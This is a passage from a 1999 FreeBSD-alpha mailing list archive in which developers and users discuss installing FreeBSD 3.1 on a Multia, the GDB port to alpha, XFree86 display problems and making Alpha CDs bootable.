mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 0D13D14F58 for ; Sun, 2 May 1999 08:58:58 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id RAA03965 for freebsd-alpha@FreeBSD.ORG; Sun, 2 May 1999 17:58:57 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id QAA20859 for ; Sun, 2 May 1999 16:16:35 +0200 Message-Id: <199905021416.QAA20859@karhu.hirvi.net> Date: Sun, 2 May 1999 17:59:03 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 02.05.99, 15:20:17 Doug Rabson wrote: Hi Doug, >> I took, the 3.1 disks, ok, I will try the 4.0 and does it install also >> version 3.1 or do I have to take the 4.0 branch? > You should be able to install the 3.1 CD with 4.0 floppies. Go to the > options screen and change the release to '3.1-RELEASE'. I downloaded the snapshots floppies and was able to get the system booting and got the sysinstall program running on the serial console. Thanks a lot! -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 9:12:23 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id C53D91542D for ; Sun, 2 May 1999 09:12:14 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id RAA50337 for ; Sun, 2 May 1999 17:12:24 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 17:12:24 +0100 (BST) From: Doug Rabson To: alpha@freebsd.org Subject: Re: GDB for alpha (nearly) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 2 May 1999, Doug Rabson wrote: > I have just finished importing GDB-4.18 into FreeBSD-current. At the same > time, I made the thing work properly in FreeBSD/alpha. Unfortunately due > to a technical hitch with CVS which I'm hoping can be cleared up by > someone who understands CVS better than me, the alpha version is missing > exactly one file, alpha-tdep.c. People who would like to try gdb on the > alpha today should copy http://www.freebsd.org/~dfr/alpha-tdep.c to > src/contrib/gdb/gdb and tweak the Makefile in src/gnu/usr.bin/binutils to > enable the build. > > I have not tested any kind of postmortem debugging yet (user or kernel). > Normal user coredumps may work but kernel coredumps will certainly not > work. I'm hoping that Andrew Gallatin who made kernel coredumps work on > the alpha might tackle this but if not, I will have a go at it eventually. > > Have fun with it, break it and send me the fixes :-) Hopefully it should > be part of the main build very soon. Like now, in fact.. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 11: 5:17 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 867DB14E2A for ; Sun, 2 May 1999 11:05:13 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id TAA62167; Sun, 2 May 1999 19:05:16 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 19:05:15 +0100 (BST) From: Doug Rabson To: William Woods Cc: FreeBSD Alpha Subject: RE: Compiling XFree on an alpha.. In-Reply-To: <000001be9463$311e1200$144b93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 1 May 1999, William Woods wrote: > Hmmm...I havent been able to find XF86Setup anywhere I had a friend running > FreebSD on Linux, and thinking it was a script, I borrowed his and useing > pico to look at it it is a binary..... > > So, I assume a couple things here: > > VGA server does not work on Alpha yet > XF86Setup uses VGA server, therefore, is not avaliable on Alpha yet. > > > BTW, I got your config file...I just need to determine what to tweak to make > it work for me. It ought to work unchanged if you have the XF86_SVGA server. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 11:37:52 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 099E0153D6 for ; Sun, 2 May 1999 11:37:46 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-4.cybcon.com [205.147.75.133]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id LAA18124; Sun, 2 May 1999 11:37:42 -0700 (PDT) Message-Id: <199905021837.LAA18124@mail.cybcon.com> From: "William" To: "Doug Rabson" Cc: "FreeBSD Alpha" Subject: Re: Compiling XFree on an alpha.. Date: Sun, 2 May 1999 11:36:19 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Well, I have the SVGA server but I go to use it and the screen is all messed up, I think it is something to do with the refresh rate, but I am not sure. William ---------- > From: Doug Rabson > To: William Woods > Cc: FreeBSD Alpha > Subject: RE: Compiling XFree on an alpha.. > Date: Sunday, May 02, 1999 11:05 AM > > On Sat, 1 May 1999, William Woods wrote: > > > Hmmm...I havent been able to find XF86Setup anywhere I had a friend running > > FreebSD on Linux, and thinking it was a script, I borrowed his and useing > > pico to look at it it is a binary..... > > > > So, I assume a couple things here: > > > > VGA server does not work on Alpha yet > > XF86Setup uses VGA server, therefore, is not avaliable on Alpha yet. > > > > > > BTW, I got your config file...I just need to determine what to tweak to make > > it work for me. > > It ought to work unchanged if you have the XF86_SVGA server. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 11:47:43 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 74D1915656 for ; Sun, 2 May 1999 11:47:33 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id TAA62484; Sun, 2 May 1999 19:47:37 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 19:47:37 +0100 (BST) From: Doug Rabson To: William Cc: FreeBSD Alpha Subject: Re: Compiling XFree on an alpha.. In-Reply-To: <199905021837.LAA18124@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 2 May 1999, William wrote: > Well, I have the SVGA server but I go to use it and the screen is all > messed up, I think it is something to do with the refresh rate, but I am > not sure. Try fiddling with the monitor settings, perhaps change the default mode. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 12: 8:55 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 2213715401 for ; Sun, 2 May 1999 12:08:53 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-4.cybcon.com [205.147.75.133]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id MAA19491; Sun, 2 May 1999 12:08:50 -0700 (PDT) Message-Id: <199905021908.MAA19491@mail.cybcon.com> From: "William" To: "Doug Rabson" Cc: "FreeBSD Alpha" Subject: Re: Compiling XFree on an alpha.. Date: Sun, 2 May 1999 12:07:38 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yea, I am gonna look at that when I get home. It is getting to the poing that there are so many things not working on the Alpha, XF86Setup, silo overflows, no netscape from what I hear......I am debating either linux or back to NT....anyway...thanks. William ---------- > From: Doug Rabson > To: William > Cc: FreeBSD Alpha > Subject: Re: Compiling XFree on an alpha.. > Date: Sunday, May 02, 1999 11:47 AM > > On Sun, 2 May 1999, William wrote: > > > Well, I have the SVGA server but I go to use it and the screen is all > > messed up, I think it is something to do with the refresh rate, but I am > > not sure. > > Try fiddling with the monitor settings, perhaps change the default mode. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 12:32:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id A4B0C14C05 for ; Sun, 2 May 1999 12:32:37 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA62769; Sun, 2 May 1999 20:32:48 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 20:32:47 +0100 (BST) From: Doug Rabson To: William Cc: FreeBSD Alpha Subject: Re: Compiling XFree on an alpha.. In-Reply-To: <199905021908.MAA19491@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 2 May 1999, William wrote: > Yea, I am gonna look at that when I get home. It is getting to the poing > that there are so many things not working on the Alpha, XF86Setup, silo > overflows, no netscape from what I hear......I am debating either linux or > back to NT....anyway...thanks. Fair enough. I don't think XF86Setup and netscape work with Linux/alpha either... -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 18:26:58 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id F2DD214BEE for ; Sun, 2 May 1999 18:26:52 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id KAA02422; Mon, 3 May 1999 10:56:52 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id KAA13791; Mon, 3 May 1999 10:56:50 +0930 (CST) Date: Mon, 3 May 1999 10:56:50 +0930 From: Greg Lehey To: Doug Rabson Cc: Kai Schmidt , freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box Message-ID: <19990503105650.K10134@freebie.lemis.com> References: <199905021221.OAA20080@karhu.hirvi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Doug Rabson on Sun, May 02, 1999 at 03:20:17PM +0100 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sunday, 2 May 1999 at 15:20:17 +0100, Doug Rabson wrote: > On Sun, 2 May 1999, Kai Schmidt wrote: > >> On 02.05.99, 14:57:17 Doug Rabson wrote: >> >> Hi Doug, >> >>>> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or >>>> from ftp.de.freebsd.org and there from the stable branch. >>>> >>>> I read that the floppies on the CD are broken. >>> That is true. I need to know which directory on the ftp site you >>> downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT >>> should work fairly well. >> >> I took, the 3.1 disks, ok, I will try the 4.0 and does it install also >> version 3.1 or do I have to take the 4.0 branch? > > You should be able to install the 3.1 CD with 4.0 floppies. Go to the > options screen and change the release to '3.1-RELEASE'. Where is there an alpha kernel on the 3.1 CDs? Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 23:40: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from bolet.ens.fr (bolet.ens.fr [129.199.99.10]) by hub.freebsd.org (Postfix) with ESMTP id 18BB014C9E for ; Sun, 2 May 1999 23:40:03 -0700 (PDT) (envelope-from pornin@bolet.ens.fr) Received: (from pornin@localhost) by bolet.ens.fr (8.8.7/8.8.7) id IAA20156 for freebsd-alpha@freebsd.org; Mon, 3 May 1999 08:39:42 +0200 Date: Mon, 3 May 1999 08:39:42 +0200 From: Thomas Pornin To: freebsd-alpha@freebsd.org Subject: Re: Compiling XFree on an alpha.. Message-ID: <19990503083942.B20136@bolet.ens.fr> References: <199905021908.MAA19491@mail.cybcon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Doug Rabson on Sun, May 02, 1999 at 08:32:47PM +0100 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, May 02, 1999 at 08:32:47PM +0100, Doug Rabson wrote: > Fair enough. I don't think XF86Setup and netscape work with Linux/alpha > either... I do not know for XF86Setup (my first XFree installation was back in the days where XF86Setup did not exist, and the Xconfigure thing would not work, therefore I write XF86Config by hand) but you may run the OSF Netscape on Linux/Alpha. I have a fully functional Communicator 4.51 and it is stable. This requires the OSF shared libs, though (or maybe somebody knows how to produce a static binary from a dynamic one ?). --Thomas Pornin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 1:30: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2A83314E35 for ; Mon, 3 May 1999 01:29:58 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA66428; Mon, 3 May 1999 09:30:05 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 3 May 1999 09:30:05 +0100 (BST) From: Doug Rabson To: Greg Lehey Cc: Kai Schmidt , freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <19990503105650.K10134@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999, Greg Lehey wrote: > On Sunday, 2 May 1999 at 15:20:17 +0100, Doug Rabson wrote: > > On Sun, 2 May 1999, Kai Schmidt wrote: > > > >> On 02.05.99, 14:57:17 Doug Rabson wrote: > >> > >> Hi Doug, > >> > >>>> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or > >>>> from ftp.de.freebsd.org and there from the stable branch. > >>>> > >>>> I read that the floppies on the CD are broken. > >>> That is true. I need to know which directory on the ftp site you > >>> downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT > >>> should work fairly well. > >> > >> I took, the 3.1 disks, ok, I will try the 4.0 and does it install also > >> version 3.1 or do I have to take the 4.0 branch? > > > > You should be able to install the 3.1 CD with 4.0 floppies. Go to the > > options screen and change the release to '3.1-RELEASE'. > > Where is there an alpha kernel on the 3.1 CDs? Its the second CD I think. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 1:38: 4 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cimlogic.com.au (cimlog.lnk.telstra.net [139.130.51.31]) by hub.freebsd.org (Postfix) with ESMTP id F137E14C40 for ; Mon, 3 May 1999 01:37:59 -0700 (PDT) (envelope-from jb@cimlogic.com.au) Received: (from jb@localhost) by cimlogic.com.au (8.9.1/8.9.1) id SAA16165; Mon, 3 May 1999 18:45:51 +1000 (EST) (envelope-from jb) From: John Birrell Message-Id: <199905030845.SAA16165@cimlogic.com.au> Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: from Doug Rabson at "May 3, 1999 9:30: 5 am" To: dfr@nlsystems.com (Doug Rabson) Date: Mon, 3 May 1999 18:45:49 +1000 (EST) Cc: grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Doug Rabson wrote: > On Mon, 3 May 1999, Greg Lehey wrote: > > Where is there an alpha kernel on the 3.1 CDs? > > Its the second CD I think. Alpha really should have it's own set of CDs. Stuffing a few alpha bits in what are mostly i386 CDs continues to trip people up. Installation floppies should be optional, with a bootable CD preferred, IMHO. -- John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/ CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 1:44: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id D96D515614 for ; Mon, 3 May 1999 01:44:03 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA66740; Mon, 3 May 1999 09:44:04 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 3 May 1999 09:44:04 +0100 (BST) From: Doug Rabson To: John Birrell Cc: grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <199905030845.SAA16165@cimlogic.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999, John Birrell wrote: > Doug Rabson wrote: > > On Mon, 3 May 1999, Greg Lehey wrote: > > > Where is there an alpha kernel on the 3.1 CDs? > > > > Its the second CD I think. > > Alpha really should have it's own set of CDs. Stuffing a few alpha > bits in what are mostly i386 CDs continues to trip people up. > > Installation floppies should be optional, with a bootable CD preferred, > IMHO. It would be really nice to have a bootable CD but I don't know exactly what is required for the alpha (I don't have a CD writer either..). I think NetBSD can do this so it shouldn't be hard to track down what is needed. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 2:36:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 51D24155F3 for ; Mon, 3 May 1999 02:36:31 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id LAA21259 for freebsd-alpha@FreeBSD.ORG; Mon, 3 May 1999 11:36:30 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id JAA30124 for ; Mon, 3 May 1999 09:31:33 +0200 Message-Id: <199905030731.JAA30124@karhu.hirvi.net> Date: Mon, 3 May 1999 11:14:26 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 03.05.99, 18:45:49 John Birrell wrote: Hi John, >> Its the second CD I think. > Alpha really should have it's own set of CDs. Stuffing a few alpha > bits in what are mostly i386 CDs continues to trip people up. This might be a quite good idea, but I am quite sure that this will happen, when the Alpha version grows further. But to be honest, despite of taking the wrong floppies, I didn't face any problems, usually I tend to install ports from the ftp ports server. -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 2:52:27 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cimlogic.com.au (cimlog.lnk.telstra.net [139.130.51.31]) by hub.freebsd.org (Postfix) with ESMTP id 8EBEC14A2E for ; Mon, 3 May 1999 02:52:22 -0700 (PDT) (envelope-from jb@cimlogic.com.au) Received: (from jb@localhost) by cimlogic.com.au (8.9.1/8.9.1) id UAA16390; Mon, 3 May 1999 20:00:32 +1000 (EST) (envelope-from jb) From: John Birrell Message-Id: <199905031000.UAA16390@cimlogic.com.au> Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <199905030731.JAA30124@karhu.hirvi.net> from Kai Schmidt at "May 3, 1999 11:14:26 am" To: ks@hirvi.net Date: Mon, 3 May 1999 20:00:31 +1000 (EST) Cc: freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Kai Schmidt wrote: > On 03.05.99, 18:45:49 John Birrell wrote: > > Hi John, > > >> Its the second CD I think. > > Alpha really should have it's own set of CDs. Stuffing a few alpha > > bits in what are mostly i386 CDs continues to trip people up. > > This might be a quite good idea, but I am quite sure that this will happen, > when the Alpha version grows further. I suspect that it might grow further/faster if some of the rough edges were removed. One thing that has always differentiated FreeBSD is a neat install. Alpha needs work to live up to that. > > But to be honest, despite of taking the wrong floppies, I didn't face any > problems, usually I tend to install ports from the ftp ports server. Glad to hear you were successful in the end. -- John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/ CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 4: 0: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 61E1B15671 for ; Mon, 3 May 1999 04:00:07 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id DAA27817; Mon, 3 May 1999 03:59:16 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: John Birrell Cc: dfr@nlsystems.com (Doug Rabson), grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-reply-to: Your message of "Mon, 03 May 1999 18:45:49 +1000." <199905030845.SAA16165@cimlogic.com.au> Date: Mon, 03 May 1999 03:59:16 -0700 Message-ID: <27813.925729156@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If we really feel that the Alpha is ready to stand on its own CD set, I guess we could fork it off at this point. There are already a considerable number of packages available for it.. Making the CD bootable, however, still won't be an option until somebody shows us how to do it. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 5:19:13 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cimlogic.com.au (cimlog.lnk.telstra.net [139.130.51.31]) by hub.freebsd.org (Postfix) with ESMTP id 59B0A14D97 for ; Mon, 3 May 1999 05:19:07 -0700 (PDT) (envelope-from jb@cimlogic.com.au) Received: (from jb@localhost) by cimlogic.com.au (8.9.1/8.9.1) id VAA16567; Mon, 3 May 1999 21:25:48 +1000 (EST) (envelope-from jb) From: John Birrell Message-Id: <199905031125.VAA16567@cimlogic.com.au> Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <27813.925729156@zippy.cdrom.com> from "Jordan K. Hubbard" at "May 3, 1999 3:59:16 am" To: jkh@zippy.cdrom.com (Jordan K. Hubbard) Date: Mon, 3 May 1999 21:25:47 +1000 (EST) Cc: freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jordan K. Hubbard wrote: > If we really feel that the Alpha is ready to stand on its own CD set, > I guess we could fork it off at this point. There are already a > considerable number of packages available for it.. Making the CD > bootable, however, still won't be an option until somebody shows > us how to do it. :) OK, well let's aim to make 4.0-current go in that direction. -- John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/ CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 5:27:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zruty.comnets.rwth-aachen.de (zruty.comnets.rwth-aachen.de [137.226.4.16]) by hub.freebsd.org (Postfix) with ESMTP id 4D3A514C1C for ; Mon, 3 May 1999 05:27:27 -0700 (PDT) (envelope-from ost@comnets.rwth-aachen.de) Received: from kirk.comnets.rwth-aachen.de (kirk [137.226.4.246]) by zruty.comnets.rwth-aachen.de (8.9.1/8.9.1) with ESMTP id OAA09125; Mon, 3 May 1999 14:24:55 +0200 (MET DST) Received: (ost@localhost) by kirk.comnets.rwth-aachen.de (8.6.12/COMNETS-1.0) id OAA06077; Mon, 3 May 1999 14:24:57 +0200 To: Doug Rabson Cc: John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box References: Reply-To: Martin Ostermann x-no-archive: yes From: Martin Ostermann Date: 03 May 1999 14:24:57 +0200 In-Reply-To: Doug Rabson's message of "Mon, 3 May 1999 09:44:04 +0100 (BST)" Message-ID: <43emky5oiu.fsf@comnets.rwth-aachen.de> Lines: 20 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999 09:44:04 +0100 (BST), Doug Rabson said: > It would be really nice to have a bootable CD but I don't know exactly > what is required for the alpha (I don't have a CD writer either..). I > think NetBSD can do this so it shouldn't be hard to track down what is > needed. I don't now about official specs, but in Linux/Alpha the 'isomarkboot' program contained in the 'aboot' package allows it to make SRM bootable CDs. It allows to mark any file in an existing ISO9660 image as the program to boot. In Linux this is usually used to load the 'aboot' loader from CD. I believe there's nothing Linux specific to it. Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8. HTH, Martin -- Martin Ostermann | mailto:ost+sig0@comnets.rwth-aachen.de Communication Networks | http://www.comnets.rwth-aachen.de/~ost Aachen University of Technology | phone: ++49/241/807917 Germany | fax: ++49/241/8890378 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon 